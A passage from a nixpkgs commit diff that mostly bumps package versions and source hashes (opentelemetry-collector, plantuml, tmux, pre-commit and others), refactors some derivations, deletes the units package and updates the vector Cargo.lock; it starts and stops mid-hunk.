${BUILD_DIR} ${CMAKE_DEFS} + cmake --build ${BUILD_DIR} ${CMAKE_TARGETS} -j8 + mkdir -p ${BUILD_DIR}/lib/ +- g++ -fPIC -g -shared -o ${BUILD_DIR}/lib/libext_server.${LIB_EXT} \ ++ $CXX -fPIC -g -shared -o ${BUILD_DIR}/lib/libext_server.${LIB_EXT} \ + ${GCC_ARCH} \ + ${WHOLE_ARCHIVE} ${BUILD_DIR}/examples/server/libext_server.a ${NO_WHOLE_ARCHIVE} \ + ${BUILD_DIR}/common/libcommon.a \ diff --git a/pkgs/tools/misc/ollama/set-llamacpp-path.patch b/pkgs/tools/misc/ollama/set-llamacpp-path.patch deleted file mode 100644 index e90e552bab45a..0000000000000 --- a/pkgs/tools/misc/ollama/set-llamacpp-path.patch +++ /dev/null @@ -1,23 +0,0 @@ -diff --git a/llm/llama.go b/llm/llama.go -index f23d5d8..6563550 100644 ---- a/llm/llama.go -+++ b/llm/llama.go -@@ -25,7 +25,6 @@ import ( - "github.com/jmorganca/ollama/api" - ) - --//go:embed llama.cpp/*/build/*/bin/* - var llamaCppEmbed embed.FS - - type ModelRunner struct { -@@ -33,6 +32,10 @@ type ModelRunner struct { - } - - func chooseRunners(workDir, runnerType string) []ModelRunner { -+ return []ModelRunner{ -+ {Path: "@llamaCppServer@"}, -+ } -+ - buildPath := path.Join("llama.cpp", runnerType, "build") - var runners []string - diff --git a/pkgs/tools/misc/opentelemetry-collector/default.nix b/pkgs/tools/misc/opentelemetry-collector/default.nix index 3559ee5beae58..45f89ffe079fd 100644 --- a/pkgs/tools/misc/opentelemetry-collector/default.nix +++ b/pkgs/tools/misc/opentelemetry-collector/default.nix @@ -8,17 +8,17 @@ buildGoModule rec { pname = "opentelemetry-collector"; - version = "0.93.0"; + version = "0.95.0"; src = fetchFromGitHub { owner = "open-telemetry"; repo = "opentelemetry-collector"; rev = "v${version}"; - hash = "sha256-caDBVB1ChAAU5fGip8HbC4hXcTomsRoLIobtMSvX/HY="; + hash = "sha256-uKGkglDCOYUcCWzsvZcYpzhDCkJ+2LnrD2/HP2zA+Ms="; }; # there is a nested go.mod sourceRoot = "${src.name}/cmd/otelcorecol"; - vendorHash = "sha256-Mx+3Ml5BQ3Z+H9mX5xvfdG7fmHm+Cz3ws+cW/6iZddY="; + vendorHash = "sha256-iAY19S+s+g13kobRO8sGdu27klH4DOSFfLlGbKPelzs="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/misc/panoply/default.nix b/pkgs/tools/misc/panoply/default.nix index d0c86c1275f57..2238cafe69839 100644 --- a/pkgs/tools/misc/panoply/default.nix +++ b/pkgs/tools/misc/panoply/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation rec { pname = "panoply"; - version = "5.3.2"; + version = "5.3.3"; src = fetchurl { url = "https://www.giss.nasa.gov/tools/panoply/download/PanoplyJ-${version}.tgz"; - sha256 = "sha256-+B/k3MqoefD3AVSYuR006eYyNe+njsfiqwBtQ+1YIHA="; + sha256 = "sha256-h2MJqbouPSciOdChLNIskYm3YLpJYK9gjTDB8StmBqg="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/tools/misc/parallel/default.nix b/pkgs/tools/misc/parallel/default.nix index d196de07f648f..488039c807639 100644 --- a/pkgs/tools/misc/parallel/default.nix +++ b/pkgs/tools/misc/parallel/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "parallel"; - version = "20240122"; + version = "20240222"; src = fetchurl { url = "mirror://gnu/parallel/${pname}-${version}.tar.bz2"; - sha256 = "sha256-hZaIy7VkHNe2sWsrlgviSqTjfmVcyP/NivlxzX1bRJ8="; + sha256 = "sha256-66Cban4jj2Iik/fUYVl/NQdctW8XDQpzFI9T0lnshVY="; }; outputs = [ "out" "man" "doc" ]; diff --git a/pkgs/tools/misc/past-time/default.nix b/pkgs/tools/misc/past-time/default.nix index cb36808ea3662..4bdcff8c1935d 100644 --- a/pkgs/tools/misc/past-time/default.nix +++ b/pkgs/tools/misc/past-time/default.nix @@ -5,16 +5,20 @@ python3.pkgs.buildPythonApplication rec { pname = "past-time"; - version = "0.2.1"; - format = "setuptools"; + version = "0.3.1"; + pyproject = true; src = fetchFromGitHub { owner = "fabaff"; - repo = pname; + repo = "past-time"; rev = "refs/tags/${version}"; - hash = "sha256-9LmFOWNUkvKfWHLo4HB1W1UBQL90Gp9UJJ3VDIYBDHo="; + hash = "sha256-NSuU33vuHbgJ+cG0FrGYLizIrG7jSz+veptt3D4UegY="; }; + nativeBuildInputs = with python3.pkgs; [ + poetry-core + ]; + propagatedBuildInputs = with python3.pkgs; [ click tqdm diff --git a/pkgs/tools/misc/pfetch-rs/default.nix b/pkgs/tools/misc/pfetch-rs/default.nix index 88f832db82a9b..7f90a595f4693 100644 --- a/pkgs/tools/misc/pfetch-rs/default.nix +++ b/pkgs/tools/misc/pfetch-rs/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "pfetch-rs"; - version = "2.8.1"; + version = "2.9.0"; src = fetchFromGitHub { owner = "Gobidev"; repo = pname; rev = "v${version}"; - hash = "sha256-/eVtI+Uvb0r1af20MlQU8sDSNf6YyIBvFKSVp47JMfQ="; + hash = "sha256-7Udop3542L2l9EYQZntk/qW0GUQeYfoDHQQJ8j39krQ="; }; - cargoHash = "sha256-eEBtrMF6dl5TzOZHnqjX4Yz2SfknGM2bzJcQWQIctPc="; + cargoHash = "sha256-gT5JjBsrGngfg77od566z+EOiH8KdARGYhTLOnOhWj4="; buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.AppKit diff --git a/pkgs/tools/misc/pipectl/default.nix b/pkgs/tools/misc/pipectl/default.nix index f3e80655279f7..f5cdeffc3ece0 100644 --- a/pkgs/tools/misc/pipectl/default.nix +++ b/pkgs/tools/misc/pipectl/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "pipectl"; - version = "0.4.1"; + version = "0.4.2"; src = fetchFromGitHub { owner = "Ferdi265"; repo = pname; rev = "v${version}"; - hash = "sha256-dWRem9VHzMwVo+ahUagZB2r4Ag8PyBef5X41vVpZcAc="; + hash = "sha256-Ixch5iyeIjx+hSvln8L0N8pXG7ordpsFVroqZPUzAG0="; }; nativeBuildInputs = [ cmake scdoc ]; diff --git a/pkgs/tools/misc/plantuml-server/default.nix b/pkgs/tools/misc/plantuml-server/default.nix index 5e3e4623c4cf1..e0fa8b00db56a 100644 --- a/pkgs/tools/misc/plantuml-server/default.nix +++ b/pkgs/tools/misc/plantuml-server/default.nix @@ -1,14 +1,14 @@ { lib, stdenv, fetchurl, nixosTests }: let - version = "1.2024.1"; + version = "1.2024.3"; in stdenv.mkDerivation rec { pname = "plantuml-server"; inherit version; src = fetchurl { url = "https://github.com/plantuml/plantuml-server/releases/download/v${version}/plantuml-v${version}.war"; - sha256 = "sha256-Wx6q/1ApsM0WcXIHjvHqr2CUMsN3puAu+REgTKescVk="; + sha256 = "sha256-tuRtQl6tbjrgew6s6OV4EeY+GUo3DPVJJyuoD2vfnoo="; }; dontUnpack = true; diff --git a/pkgs/tools/misc/plantuml/default.nix b/pkgs/tools/misc/plantuml/default.nix index 79e742989cacf..a237bb88c64b6 100644 --- a/pkgs/tools/misc/plantuml/default.nix +++ b/pkgs/tools/misc/plantuml/default.nix @@ -1,15 +1,23 @@ -{ lib, stdenv, fetchurl, makeWrapper, jre, graphviz }: +{ lib +, stdenvNoCC +, fetchurl +, makeBinaryWrapper +, jre +, graphviz +}: -stdenv.mkDerivation rec { - version = "1.2024.1"; +stdenvNoCC.mkDerivation (finalAttrs: { pname = "plantuml"; + version = "1.2024.3"; src = fetchurl { - url = "https://github.com/plantuml/plantuml/releases/download/v${version}/plantuml-pdf-${version}.jar"; - sha256 = "sha256-lXo8eU6IX4JQFfhNUM2h6fi0HkShiwLsjMRTNbwLYwk="; + url = "https://github.com/plantuml/plantuml/releases/download/v${finalAttrs.version}/plantuml-pdf-${finalAttrs.version}.jar"; + hash = "sha256-zgpqXawlIdNgSxiOjtk7XLOnrVVD09T5qE9K8LD4TtY="; }; - nativeBuildInputs = [ makeWrapper ]; + nativeBuildInputs = [ + makeBinaryWrapper + ]; buildCommand = '' install -Dm644 $src $out/lib/plantuml.jar @@ -19,18 +27,22 @@ stdenv.mkDerivation rec { --argv0 plantuml \ --set GRAPHVIZ_DOT ${graphviz}/bin/dot \ --add-flags "-jar $out/lib/plantuml.jar" + ''; + doInstallCheck = true; + postCheckInstall = '' $out/bin/plantuml -help + $out/bin/plantuml -testdot ''; - meta = with lib; { + meta = { description = "Draw UML diagrams using a simple and human readable text description"; homepage = "https://plantuml.com/"; - sourceProvenance = with sourceTypes; [ binaryBytecode ]; # "plantuml -license" says GPLv3 or later - license = licenses.gpl3Plus; - maintainers = with maintainers; [ bjornfor Mogria ]; - platforms = platforms.unix; + license = lib.licenses.gpl3Plus; mainProgram = "plantuml"; + maintainers = with lib.maintainers; [ bjornfor Mogria ]; + platforms = lib.platforms.unix; + sourceProvenance = with lib.sourceTypes; [ binaryBytecode ]; }; -} +}) diff --git a/pkgs/tools/misc/pre-commit/default.nix b/pkgs/tools/misc/pre-commit/default.nix index 11d76add076fc..04b485427547e 100644 --- a/pkgs/tools/misc/pre-commit/default.nix +++ b/pkgs/tools/misc/pre-commit/default.nix @@ -18,7 +18,7 @@ with python3Packages; buildPythonApplication rec { pname = "pre-commit"; - version = "3.6.0"; + version = "3.6.2"; format = "setuptools"; disabled = pythonOlder "3.9"; @@ -26,8 +26,8 @@ buildPythonApplication rec { src = fetchFromGitHub { owner = "pre-commit"; repo = "pre-commit"; - rev = "v${version}"; - hash = "sha256-OTduVg8uhMdXs2gQ7KaMVOO1zQK4m489W9SU7PWIvcM="; + rev = "refs/tags/v${version}"; + hash = "sha256-rlGkoaVLrTCEPgPFNUWefJf6MJaKTA2RDSbV7eGtaAU="; }; patches = [ @@ -134,6 +134,7 @@ buildPythonApplication rec { "test_docker_hook" "test_docker_image_hook_via_args" "test_docker_image_hook_via_entrypoint" + "test_during_commit_all" "test_golang_default_version" "test_golang_hook" "test_golang_hook_still_works_when_gobin_is_set" diff --git a/pkgs/tools/misc/rauc/default.nix b/pkgs/tools/misc/rauc/default.nix index d6e8486681acc..8f244839803c1 100644 --- a/pkgs/tools/misc/rauc/default.nix +++ b/pkgs/tools/misc/rauc/default.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation rec { pname = "rauc"; - version = "1.11.1"; + version = "1.11.2"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - sha256 = "sha256-xvuBMOAXnuRYCkripjwfv64BCTLySNxebyHF3sB8EQw="; + sha256 = "sha256-IWfYjn8CCgYK2hna59Awr5tzWnXCtR6c1XpV5fCiSE4="; }; passthru = { diff --git a/pkgs/tools/misc/remind/default.nix b/pkgs/tools/misc/remind/default.nix index bd049671336ee..b9becd60ab088 100644 --- a/pkgs/tools/misc/remind/default.nix +++ b/pkgs/tools/misc/remind/default.nix @@ -15,11 +15,11 @@ let in tcl.mkTclDerivation rec { pname = "remind"; - version = "04.02.09"; + version = "04.03.02"; src = fetchurl { url = "https://dianne.skoll.ca/projects/remind/download/remind-${version}.tar.gz"; - sha256 = "sha256-ZEaEYLQFpwXfp7ONsUt4I/ENqPADruooFRfdtJhrhyo="; + sha256 = "sha256-tL5Ntb/RIoT9mKcdU1ndBo/pGwhtIsRnTV0lL6Sg1Vw="; }; propagatedBuildInputs = tclLibraries; diff --git a/pkgs/tools/misc/remote-exec/default.nix b/pkgs/tools/misc/remote-exec/default.nix index 557bde26c4650..979f0f53bae0d 100644 --- a/pkgs/tools/misc/remote-exec/default.nix +++ b/pkgs/tools/misc/remote-exec/default.nix @@ -1,9 +1,10 @@ { lib , stdenv +, fetchpatch , fetchFromGitHub , buildPythonApplication , click -, pydantic_1 +, pydantic , toml , watchdog , pytestCheckHook @@ -12,15 +13,24 @@ buildPythonApplication rec { pname = "remote-exec"; - version = "1.13.2"; + version = "1.13.3"; src = fetchFromGitHub { owner = "remote-cli"; repo = "remote"; rev = "refs/tags/v${version}"; - hash = "sha256-xaxkN6XukV9HiLYehwVTBZB8bUyjgpfg+pPfAGrOkgo="; + hash = "sha256-rsboHJLOHXnpXtsVsvsfKsav8mSbloaq2lzZnU2pw6c="; }; + patches = [ + # relax install requirements + # https://github.com/remote-cli/remote/pull/60.patch + (fetchpatch { + url = "https://github.com/remote-cli/remote/commit/a2073c30c7f576ad7ceb46e39f996de8d06bf186.patch"; + hash = "sha256-As0j+yY6LamhOCGFzvjUQoXFv46BN/tRBpvIS7r6DaI="; + }) + ]; + # remove legacy endpoints, we use --multi now postPatch = '' substituteInPlace setup.py \ @@ -29,7 +39,7 @@ buildPythonApplication rec { propagatedBuildInputs = [ click - pydantic_1 + pydantic toml watchdog ]; @@ -58,6 +68,7 @@ buildPythonApplication rec { meta = with lib; { description = "Work with remote hosts seamlessly via rsync and ssh"; homepage = "https://github.com/remote-cli/remote"; + changelog = "https://github.com/remote-cli/remote/releases/tag/v${version}"; license = licenses.bsd2; maintainers = with maintainers; [ pbsds ]; }; diff --git a/pkgs/tools/misc/sharedown/default.nix b/pkgs/tools/misc/sharedown/default.nix index 5d1d31b35ac18..c3e87328c1fba 100644 --- a/pkgs/tools/misc/sharedown/default.nix +++ b/pkgs/tools/misc/sharedown/default.nix @@ -6,7 +6,7 @@ , libsecret , python3 , pkg-config -, nodePackages +, nodejs , electron , makeWrapper , makeDesktopItem @@ -63,7 +63,6 @@ stdenvNoCC.mkDerivation rec { nativeBuildInputs = [ python3 pkg-config - nodePackages.node-gyp ]; buildInputs = [ libsecret @@ -76,6 +75,15 @@ stdenvNoCC.mkDerivation rec { }; }; + # needed for node-gyp, copied from https://nixos.org/manual/nixpkgs/unstable/#javascript-yarn2nix-pitfalls + # permalink: https://github.com/NixOS/nixpkgs/blob/d176767c02cb2a048e766215078c3d231e666091/doc/languages-frameworks/javascript.section.md#pitfalls-javascript-yarn2nix-pitfalls + preBuild = '' + mkdir -p $HOME/.node-gyp/${nodejs.version} + echo 9 > $HOME/.node-gyp/${nodejs.version}/installVersion + ln -sfv ${nodejs}/include $HOME/.node-gyp/${nodejs.version} + export npm_config_nodedir=${nodejs} + ''; + packageJSON = "${src}/package.json"; yarnLock = ./yarn.lock; diff --git a/pkgs/tools/misc/steampipe/default.nix b/pkgs/tools/misc/steampipe/default.nix index ecfa780cc5326..31d27ffe8baea 100644 --- a/pkgs/tools/misc/steampipe/default.nix +++ b/pkgs/tools/misc/steampipe/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "steampipe"; - version = "0.21.7"; + version = "0.21.8"; src = fetchFromGitHub { owner = "turbot"; repo = "steampipe"; rev = "v${version}"; - hash = "sha256-puaqAMUnlQNOQmxhJCKQKTBypTjdModijtIpPBZsIXY="; + hash = "sha256-PY2CpieY1kTuT3Yd6i5hiRjVEwYNHn1GF+E0g6u8BP0="; }; vendorHash = "sha256-yS2FiTnK65LAY3tGSlMy0LMg6691tS/9yQ4w7HrW/pw="; diff --git a/pkgs/tools/misc/tagref/default.nix b/pkgs/tools/misc/tagref/default.nix index 928945f4daa6d..0b8ebf82730de 100644 --- a/pkgs/tools/misc/tagref/default.nix +++ b/pkgs/tools/misc/tagref/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "tagref"; - version = "1.8.4"; + version = "1.9.1"; src = fetchFromGitHub { owner = "stepchowfun"; repo = pname; rev = "v${version}"; - sha256 = "sha256-wjCehdCZR/97nD4HsTZCiVZZb2GQaOTfyU72Ez5kjW8="; + sha256 = "sha256-4F9u1wzeBgYP3L6h08xMvgq62ix/SOaFaLl7uEf1j1c="; }; - cargoHash = "sha256-Wis6C4Wlz7NScFeKXWODA8BKmRtL7adaYxPVR13wNsg="; + cargoHash = "sha256-AO6BGevCoLCH4vpyrXrgF3FrjUa3lHA7ynXfk4KKigM="; meta = with lib; { description = "Manage cross-references in your code"; diff --git a/pkgs/tools/misc/tkman/default.nix b/pkgs/tools/misc/tkman/default.nix index e178e173108a8..4df680fb6b8cf 100644 --- a/pkgs/tools/misc/tkman/default.nix +++ b/pkgs/tools/misc/tkman/default.nix @@ -10,12 +10,12 @@ , rman }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "tkman"; version = "2.2"; src = fetchzip { - url = "mirror://sourceforge/tkman/tkman-${version}.tar.gz"; + url = "mirror://sourceforge/tkman/tkman-${finalAttrs.version}.tar.gz"; hash = "sha256-S4ffz+7zmVy9+isz/8q+FV4wF5Rw2iL1ftY8RsJjRLs="; }; @@ -84,4 +84,4 @@ stdenv.mkDerivation rec { platforms = platforms.unix; maintainers = with maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/tools/misc/tmux/default.nix b/pkgs/tools/misc/tmux/default.nix index a39f65d702ac2..913310ec7a471 100644 --- a/pkgs/tools/misc/tmux/default.nix +++ b/pkgs/tools/misc/tmux/default.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchFromGitHub +, fetchpatch , autoreconfHook , bison , libevent @@ -37,6 +38,11 @@ stdenv.mkDerivation (finalAttrs: { hash = "sha256-RX3RZ0Mcyda7C7im1r4QgUxTnp95nfpGgQ2HRxr0s64="; }; + patches = [(fetchpatch { + url = "https://github.com/tmux/tmux/commit/2d1afa0e62a24aa7c53ce4fb6f1e35e29d01a904.diff"; + hash = "sha256-mDt5wy570qrUc0clGa3GhZFTKgL0sfnQcWJEJBKAbKs="; + })]; + nativeBuildInputs = [ pkg-config autoreconfHook diff --git a/pkgs/tools/misc/tmuxp/default.nix b/pkgs/tools/misc/tmuxp/default.nix index 1d1eaa53e7bb7..b61f0bddaa261 100644 --- a/pkgs/tools/misc/tmuxp/default.nix +++ b/pkgs/tools/misc/tmuxp/default.nix @@ -2,12 +2,12 @@ python3Packages.buildPythonApplication rec { pname = "tmuxp"; - version = "1.34.0"; - format = "pyproject"; + version = "1.39.0"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-G93YtgXo4li+tLWKgJFaxx4Ax4sK4F+vK6M3WTXIeiU="; + hash = "sha256-E8Q1uCV3kl4rYg/bzwjk3CNQU/uP9lEZzSqcOFkLrY0="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/misc/topicctl/default.nix b/pkgs/tools/misc/topicctl/default.nix index 3eb949381af87..e4f5c11a980aa 100644 --- a/pkgs/tools/misc/topicctl/default.nix +++ b/pkgs/tools/misc/topicctl/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "topicctl"; - version = "1.14.0"; + version = "1.14.2"; src = fetchFromGitHub { owner = "segmentio"; repo = "topicctl"; rev = "v${version}"; - sha256 = "sha256-Vmx+6UXNWCnVmLskk1J4Pug3+99cdk4WXjA2zO4agvU="; + sha256 = "sha256-VOy6IoXw3MCa5hNQ/BmuGKwjbNRvDC+xwIcLXep8rRI="; }; vendorHash = "sha256-+mnnvdna1g6JE29weOJZmdO3jFp2a75dV9wK2XcWJ9s="; diff --git a/pkgs/tools/misc/tty-clock/default.nix b/pkgs/tools/misc/tty-clock/default.nix index 32701caa64de4..0abb0c668be09 100644 --- a/pkgs/tools/misc/tty-clock/default.nix +++ b/pkgs/tools/misc/tty-clock/default.nix @@ -30,7 +30,7 @@ stdenv.mkDerivation rec { meta = with lib; { broken = stdenv.isDarwin; homepage = "https://github.com/xorg62/tty-clock"; - license = licenses.free; + license = licenses.bsd3; description = "Digital clock in ncurses"; platforms = platforms.all; maintainers = [ maintainers.koral ]; diff --git a/pkgs/tools/misc/ugs/default.nix b/pkgs/tools/misc/ugs/default.nix index 9364b1f871eac..99fba8bcfe93b 100644 --- a/pkgs/tools/misc/ugs/default.nix +++ b/pkgs/tools/misc/ugs/default.nix @@ -18,11 +18,11 @@ let in stdenv.mkDerivation rec { pname = "ugs"; - version = "2.1.4"; + version = "2.1.5"; src = fetchzip { url = "https://github.com/winder/Universal-G-Code-Sender/releases/download/v${version}/UniversalGcodeSender.zip"; - hash = "sha256-2WGRHdxmGa2b8ca20xNJoA0NAY9a0pngzdf94ROfirk="; + hash = "sha256-StXEtDJ3UjTWgiQQ8HQtPcUENQPosdHis1eo81Jf96M="; }; dontUnpack = true; diff --git a/pkgs/tools/misc/units/default.nix b/pkgs/tools/misc/units/default.nix deleted file mode 100644 index 56dc43e7f61dc..0000000000000 --- a/pkgs/tools/misc/units/default.nix +++ /dev/null @@ -1,46 +0,0 @@ -{ - stdenv, - lib, - fetchurl, - readline, - enableCurrenciesUpdater ? true, - pythonPackages ? null -}: - -assert enableCurrenciesUpdater -> pythonPackages != null; - -let pythonEnv = pythonPackages.python.withPackages(ps: [ - ps.requests - ]); -in stdenv.mkDerivation rec { - pname = "units"; - version = "2.22"; - - src = fetchurl { - url = "mirror://gnu/units/${pname}-${version}.tar.gz"; - sha256 = "sha256-XRPhIHch/ncm2Qa6HZLcDt2qn8JnWe0i47jRp5MSWEg="; - }; - - buildInputs = [ readline ] - ++ lib.optionals enableCurrenciesUpdater [ - pythonEnv - ] - ; - prePatch = lib.optionalString enableCurrenciesUpdater '' - substituteInPlace units_cur \ - --replace "#!/usr/bin/env python" ${pythonEnv}/bin/python - ''; - postInstall = '' - cp units_cur ${placeholder "out"}/bin/ - ''; - - doCheck = true; - - meta = with lib; { - description = "Unit conversion tool"; - homepage = "https://www.gnu.org/software/units/"; - license = [ licenses.gpl3Plus ]; - platforms = platforms.all; - maintainers = [ maintainers.vrthra ]; - }; -} diff --git a/pkgs/tools/misc/urn-timer/default.nix b/pkgs/tools/misc/urn-timer/default.nix index 26b59a7f908a5..df45524a8a060 100644 --- a/pkgs/tools/misc/urn-timer/default.nix +++ b/pkgs/tools/misc/urn-timer/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation { pname = "urn-timer"; - version = "unstable-2023-08-07"; + version = "unstable-2024-03-05"; src = fetchFromGitHub { owner = "paoloose"; repo = "urn"; - rev = "3468e297ee67aa83e6c26529acd35142ade5c6ff"; - hash = "sha256-e9u/bjFjwgF5QciiqB3AWhyYj7eCstzkpSR9+xNA+4I="; + rev = "10082428749fabb69db1556f19940d8700ce48a2"; + hash = "sha256-sQjHQ/i1d4v4ZnM0YAay+MdIj5l/FfIYj+NdH48OqfU="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/misc/uwufetch/default.nix b/pkgs/tools/misc/uwufetch/default.nix index a7241e6488be4..d0ae239d9ec2f 100644 --- a/pkgs/tools/misc/uwufetch/default.nix +++ b/pkgs/tools/misc/uwufetch/default.nix @@ -48,7 +48,7 @@ stdenv.mkDerivation rec { homepage = "https://github.com/TheDarkBug/uwufetch"; license = licenses.gpl3Plus; platforms = platforms.unix; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; mainProgram = "uwufetch"; }; } diff --git a/pkgs/tools/misc/vector/Cargo.lock b/pkgs/tools/misc/vector/Cargo.lock index 193099d1733d5..41193aa9a0145 100644 --- a/pkgs/tools/misc/vector/Cargo.lock +++ b/pkgs/tools/misc/vector/Cargo.lock @@ -66,7 +66,7 @@ version = "0.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5a824f2aa7e75a0c98c5a504fceb80649e9c35265d44525b5f94de4771a395cd" dependencies = [ - "getrandom 0.2.11", + "getrandom 0.2.12", "once_cell", "version_check", ] @@ -78,7 +78,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a" dependencies = [ "cfg-if", - "getrandom 0.2.11", + "getrandom 0.2.12", "once_cell", "version_check", "zerocopy", @@ -179,9 +179,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.4" +version = "0.6.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "4cd2405b3ac1faab2990b74d728624cd9fd115651fcecc7c2d8daf01376275ba" dependencies = [ "anstyle", "anstyle-parse", @@ -227,9 +227,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.76" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "59d2a3357dde987206219e78ecfbbb6e8dad06cbb65292758d3270e6254f7355" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "apache-avro" @@ -247,8 +247,8 @@ dependencies = [ "regex-lite", "serde", "serde_json", - "strum", - "strum_macros", + "strum 0.25.0", + "strum_macros 0.25.3", "thiserror", "typed-builder 0.16.2", "uuid", @@ -323,17 +323,6 @@ dependencies = [ [[package]] name = "assert-json-diff" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4259cbe96513d2f1073027a259fc2ca917feb3026a5a8d984e3628e490255cc0" -dependencies = [ - "extend", - "serde", - "serde_json", -] - -[[package]] -name = "assert-json-diff" version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" @@ -344,9 +333,9 @@ dependencies = [ [[package]] name = "assert_cmd" -version = "2.0.12" +version = "2.0.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88903cb14723e4d4003335bb7f8a14f27691649105346a0f0957466c096adfe6" +checksum = "00ad3f3a942eee60335ab4342358c161ee296829e0d16ff42fc1d6cb07815467" dependencies = [ "anstyle", "bstr 1.9.0", @@ -369,23 +358,10 @@ dependencies = [ ] [[package]] -name = "async-compat" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f68a707c1feb095d8c07f8a65b9f506b117d30af431cab89374357de7c11461b" -dependencies = [ - "futures-core", - "futures-io", - "once_cell", - "pin-project-lite", - "tokio", -] - -[[package]] name = "async-compression" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc2d0cfb2a7388d34f590e76686704c494ed7aaceed62ee1ba35cbf363abc2a5" +checksum = "a116f46a969224200a0a97f29cfd4c50e7534e4b4826bd23ea2c3c533039c82c" dependencies = [ "flate2", "futures-core", @@ -450,9 +426,9 @@ dependencies = [ [[package]] name = "async-graphql" -version = "6.0.11" +version = "7.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "298a5d587d6e6fdb271bf56af2dc325a80eb291fd0fc979146584b9a05494a8c" +checksum = "b16926f97f683ff3b47b035cc79622f3d6a374730b07a5d9051e81e88b5f1904" dependencies = [ "async-graphql-derive", "async-graphql-parser", @@ -464,8 +440,8 @@ dependencies = [ "chrono", "fnv", "futures-util", - "http 0.2.9", - "indexmap 2.1.0", + "http 1.0.0", + "indexmap 2.2.3", "mime", "multer", "num-traits", @@ -475,32 +451,32 @@ dependencies = [ "serde", "serde_json", "serde_urlencoded", - "static_assertions", + "static_assertions_next", "thiserror", ] [[package]] name = "async-graphql-derive" -version = "6.0.11" +version = "7.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7f329c7eb9b646a72f70c9c4b516c70867d356ec46cb00dcac8ad343fd006b0" +checksum = "a6a7349168b79030e3172a620f4f0e0062268a954604e41475eff082380fe505" dependencies = [ "Inflector", "async-graphql-parser", - "darling 0.20.3", + "darling 0.20.5", "proc-macro-crate 1.3.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "strum", - "syn 2.0.46", + "strum 0.25.0", + "syn 2.0.48", "thiserror", ] [[package]] name = "async-graphql-parser" -version = "6.0.11" +version = "7.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6139181845757fd6a73fbb8839f3d036d7150b798db0e9bb3c6e83cdd65bd53b" +checksum = "58fdc0adf9f53c2b65bb0ff5170cba1912299f248d0e48266f444b6f005deb1d" dependencies = [ "async-graphql-value", "pest", @@ -510,24 +486,25 @@ dependencies = [ [[package]] name = "async-graphql-value" -version = "6.0.11" +version = "7.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "323a5143f5bdd2030f45e3f2e0c821c9b1d36e79cf382129c64299c50a7f3750" +checksum = "7cf4d4e86208f4f9b81a503943c07e6e7f29ad3505e6c9ce6431fe64dc241681" dependencies = [ "bytes 1.5.0", - "indexmap 2.1.0", + "indexmap 2.2.3", "serde", "serde_json", ] [[package]] name = "async-graphql-warp" -version = "6.0.11" +version = "7.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa68237ec9f2190cae295122ba45612b992658fbc372d142c6c6981cc70a9eac" +checksum = "d906b817c1499c0a814ea62b2a9cc03726e50d694d7e8cad3fcc1b24e8b62883" dependencies = [ "async-graphql", "futures-util", + "http 0.2.9", "serde_json", "warp", ] @@ -565,7 +542,7 @@ dependencies = [ "futures-lite", "parking", "polling 3.3.0", - "rustix 0.38.28", + "rustix 0.38.31", "slab", "tracing 0.1.40", "waker-fn", @@ -598,7 +575,7 @@ version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dbc1f1a75fd07f0f517322d103211f12d757658e91676def9a2e688774656c60" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "futures 0.3.30", "http 0.2.9", @@ -608,8 +585,8 @@ dependencies = [ "once_cell", "rand 0.8.5", "regex", - "ring 0.17.5", - "rustls 0.21.8", + "ring", + "rustls", "rustls-native-certs", "rustls-pemfile", "rustls-webpki", @@ -621,7 +598,7 @@ dependencies = [ "time", "tokio", "tokio-retry", - "tokio-rustls 0.24.1", + "tokio-rustls", "tracing 0.1.40", "url", ] @@ -650,7 